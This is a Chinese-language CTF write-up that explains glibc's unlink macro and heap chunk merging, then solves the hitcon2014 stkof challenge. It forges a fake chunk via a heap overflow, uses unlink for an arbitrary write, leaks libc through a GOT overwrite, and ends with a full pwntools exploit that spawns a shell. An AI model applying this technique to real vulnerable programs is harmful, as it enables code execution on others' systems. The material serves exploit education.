本文最后更新于 2024年10月9日 上午
堆溢出_unlink
Unlink详解
Ulink是什么
unlink实际上是libc上定义的一个宏,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| #define unlink(AV, P, BK, FD) { FD = P->fd; BK = P->bk; if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P, AV); else { FD->bk = BK; BK->fd = FD; if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0)) { if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) malloc_printerr (check_action, "corrupted double-linked list (not small)", P, AV); if (FD->fd_nextsize == NULL) { if (P->fd_nextsize == P) FD->fd_nextsize = FD->bk_nextsize = FD; else { FD->fd_nextsize = P->fd_nextsize; FD->bk_nextsize = P->bk_nextsize; P->fd_nextsize->bk_nextsize = FD; P->bk_nextsize->fd_nextsize = FD; } } else { P->fd_nextsize->bk_nextsize = P->bk_nextsize; P->bk_nextsize->fd_nextsize = P->fd_nextsize; } } } }
|
但是重要的不是他的源码,而是它在堆溢出中有什么利用
堆的基础知识
large free chunk结构

可以看到一个large free chunk 不包括data的话,最小的大小为
1
| size=p64(pre_size)+p64(size)+p64(fd)+p64(bk)+p64(fd_next)+p64(bk_next)=0x30
|
这会为我们伪造一个free chunk提供条件(在后面会用到)
chunk合并
我们先来回顾一下堆方面的基础知识,我们知道,当我们free一个大小超过0x90的chunk时,会检查这个chunk物理意义上相邻的前一个chunk是否是空闲状态,如果是,两个chunk会合并成一个大的chunk来合理利用空间。
我们来看示例
申请3个0x80的空间后释放
接着用gdb bin 指令以及heap指令查看


可以看到三个空闲chunk彼此连接的,其中fd指针指向上一个chunk的地址,bk指针指向下一个chunk的地址
unlink的过程
过程
在hollk师傅的文章中,unlink被通俗易懂的理解为,从三个相互连接的chunk中摘取掉中间的chunk
那么在摘取之后会发生什么呢?

这是没摘取前三个chunk中的联系
当摘取了second_chunk后为了连接first_chunk和third_chunk
fd3会被fd取代,bk1会被bk2取代。

漏洞利用
想象一下,当second_chunk是我们伪造的,fd2,bk2伪造成我们想要写入数据,而first_chunk和third_chunk设置成我们想要写入的地址,是不是可以实现地址任意写,接下来我们通过实际的题目来理解
unlink检查
在我们用的大多数linux都会对chunk状态进行检查,以免造成二次释放或者二次申请的问题。
检查1:检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小
当一个chunk是空闲的时候相邻高地址的pre_size域为该chunk的大小
检查2:检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0
检查3:检查前后被释放chunk的fd和bk
sub_400936

这个函数就是创建chunk,并把地址放在dword_602100
sub_4009E8

这个函数可以对chunk进行编辑,同时没有对字符进行限制,存在堆溢出

sub_400B07

这个函数就是简单的free函数
思路
首先先建立三个chunk,分别为
chunk1=0x1804010
chunk2=0x1804460
chunk3=0x18044a0

发现有两个chunk是相邻的,因为编辑函数存在堆溢出,可以覆盖下一个chunk的pre_size,size域

这个地址存着chunk的地址
即head=0x602140

编辑函数就是利用这里的地址进行操作的,假设我们可以把这里的地址改成别的地址,那么我们就可以利用编辑函数堆这个地址进行操作
那么怎么改呢?我们就可以利用unlink进行地址任意写
伪造second_chunk
在前面我们知道,unlink利用中最重要的就是second_chunk,但是这里并没有我们可以利用的chunk,那么我们考虑在chunk2的data域伪造一个free_chunk


这是前面提到的,那么我们伪造的second_chunk大小最小为0x30
那么基本结构就是
1
| fake=second_chunk+p64(0x30)+p64(0x90)
|
这里的p64(0x30)是下一个chunk的pre_size域,p64(0x90)是下一个chunk的大小,目的是为了触发unlink和绕过检查(只有一个大于0x80的chunk释放时才会触发unlink)
那么接下来就是对second_chunk的具体伪造
我们知道伪造的chunk时second_chunk,那么first_chunk的bk指针就应该是chunk2的数据域
即0x1804460+0x10=0x1804470
third_chunk的fd指针也是0x1804460+0x10=0x180447

我们发现,如果把0x602138作为一个chunk的话,那么这个chunk的fd指针刚好满足上面的要求,

把0x602140作为一个chunk的话,fd指针也刚好满足要求
所以first_chunk=0x602138,third_chunk=0x602140
那么second_chunk为
1
| second_chunk=p64(0)+p64(0x30)+p64(0x602138)+p64(0x602140)+p64(0x30)+p64(90)
|
因为second_chunk的pre_size域不影响,所以置0即可

触发unlink,实现任意写

1 2 3 4 5
| pwndbg> x/30gx 0x602140 0x602140: 0x0000000000000000 0x0000000001804010 0x602150: 0x0000000000602038 0x0000000000000000 0x602160: 0x00000000020f8530 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000
|
可以看到chunk2的地址已被覆盖
泄露基地址
因为chunk已杯覆盖成0x602038
那么我们可以通过编辑函数进行操作
1 2
| payload=p64(0)*2+p64(free_got)+p64(puts_got) fill(2,payload)
|
把chunk1和chunk2的地址覆盖成free函数和puts函数

此时我们调用free(2)时便可泄露基地址
getshell
接着我们使用编辑函数,把free函数got写成system



最后创建一个chunk存放/bin/sh后释放,getshell

完整的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| from pwn import * p = process('./stkof')
p=process('./stkof')
elf = ELF("./stkof") libc = ELF("./libc-2.23.so")
free_got = elf.got['free'] puts_got = elf.got['puts'] puts_plt = elf.plt['puts']
def alloc(size): p.sendline(str(1)) p.sendline(str(size)) p.recvuntil("OK")
def fill(idx,content): p.sendline(str(2)) p.sendline(str(idx)) p.sendline(str(len(content))) p.sendline(content) p.recvuntil("OK")
def free(idx): p.sendline(str(3)) p.sendline(str(idx))
alloc(0x30) alloc(0x30) alloc(0x80) alloc(0x30) fake=p64(0)+p64(0x30)+p64(0x602138)+p64(0x602140)+b'a'*0x10+p64(0x30)+p64(0x90) fill(2,fake) free(3) payload=p64(0)*2+p64(free_got)+p64(puts_got) fill(2,payload) payload=p64(puts_plt) fill(1,payload) free(2) real=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print(hex(real)) base=real-0x6f690 system=base+0x45390 fill(1,p64(system)) fill(4,b'/bin/sh\x00') free(4)
p.interactive()
|
参考文献
好好说话之unlink
hitcon2014_stkof详解